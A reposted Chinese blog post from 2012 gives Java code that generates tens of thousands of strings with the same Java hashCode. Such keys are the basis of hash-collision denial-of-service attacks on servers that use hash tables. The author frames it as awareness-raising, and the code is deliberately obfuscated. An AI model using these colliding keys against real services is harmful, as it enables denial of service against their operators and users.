Java Hash Algorithm Collision Practice (JAVA哈希算法冲突实践)
浏览:3038次 出处信息
摘要
以代码形式,提供一种可验证的Java语言下哈希冲突字串生成方式。制造Hash冲突可引发Hashtable数据结构退化为低效链表,常用于DoS攻击。
背景及几句废话
2012年的第一篇blog,想想还是写点技术相关的。最近安全圈比较热的话题是hash algorithm collision dos attack. 截止到本文发布之时,比较优雅解决这一问题的厂商依然只是少数。为了促进这一问题得到尽快解决,我认为有必要在更大的范围内普及这一攻击的基础知识。本文主要思路以代码方式提供。如果不能保证独立运行以下代码,请绕道;如果对代码可读性有疑问,那是我故意的。
PS: JDK中关于hashCode()方法的实现,可用以下公式表达:
代码
package com.unclejoey.just4fun;
import java.math.BigDecimal;
public class HashCollision {
private static final int i1 = 48;
private static final int i2 = 8;
private static final int i3 = 31;
private static final int i4 = 60000;
private static final long l1 = i3 -1;
private static final long l2 = 2l << 32;
private static final BigDecimal d1 = new BigDecimal(31);
private static final BigDecimal d2 = d1.pow(i2);
private static final BigDecimal d3 = new BigDecimal(l2);
public static void main(String[] args) {
String t = "test_string";
for(int i=0; i<=i4; i++) {
String s = String.valueOf(i);
while(s.length() < 5){
s = "0" + s;
}
int hs = s.hashCode();
char[] r = g(hs, t.hashCode());
s = s.concat(new String(r));
if (s.hashCode() != t.hashCode()) {
System.err.println("NO WAY, I Couldn't be wrong...");
System.exit(1);
}
System.out.println(s);
}
}
private static char[] g(int s, int t) {
long hx1 = l1 * s + i1;
BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
long l = hx4.subtract(b).longValue();
l = (l+l2) % l2;
if (l < 0) l += l2;
char[] c = new char[i2];
int p = 0;
while (l != 0) {
c[p++] = (char) (l % (i3) + i1);
l = l / i3;
}
int f = i2 - p;
char[] cs = new char[i2];
int i = 0;
while (i < f) {
cs[i++] = (char) i1;
}
while (i < i2) {
cs[i] = c[p - i + f - 1];
++i;
}
return cs;
}
}
建议继续学习:
- HashMap解决hash冲突的方法 (阅读:11227)
- 关于memcache分布式一致性hash (阅读:10685)
- 一致性哈希算法及其在分布式系统中的应用 (阅读:7911)
- 分布式哈希和一致性哈希 (阅读:7634)
- MinHash原理与应用 (阅读:5840)
- LVS hash size解决4096个并发的问题 (阅读:5418)
- 无锁HashMap的原理与实现 (阅读:5325)
- 如果用户在5分钟内重复上线,就给他发警告,问如何设计? (阅读:4863)
- Ubuntu 下Hash校验和不符问题的解决 (阅读:4468)
- 关于哈希map奇慢无比的原因定位 (阅读:3916)
QQ技术交流群:445447336,欢迎加入!
扫一扫订阅我的微信号:IT技术博客大学习
扫一扫订阅我的微信号:IT技术博客大学习
后一篇:Solr的TrieField范围查询分析 >>
文章信息
- 作者:Uncle Joey 来源: Wow! Uncle Joey
- 标签: Hash 哈希
- 发布时间:2012-05-10 23:54:38
建议继续学习
近3天十大热文
- [68] 如何拿下简短的域名
- [68] Go Reflect 性能
- [64] Oracle MTS模式下 进程地址与会话信
- [61] 图书馆的世界纪录
- [60] 【社会化设计】自我(self)部分――欢迎区
- [60] IOS安全–浅谈关于IOS加固的几种方法
- [58] android 开发入门
- [53] 视觉调整-设计师 vs. 逻辑
- [48] 读书笔记-壹百度:百度十年千倍的29条法则
- [47] 界面设计速成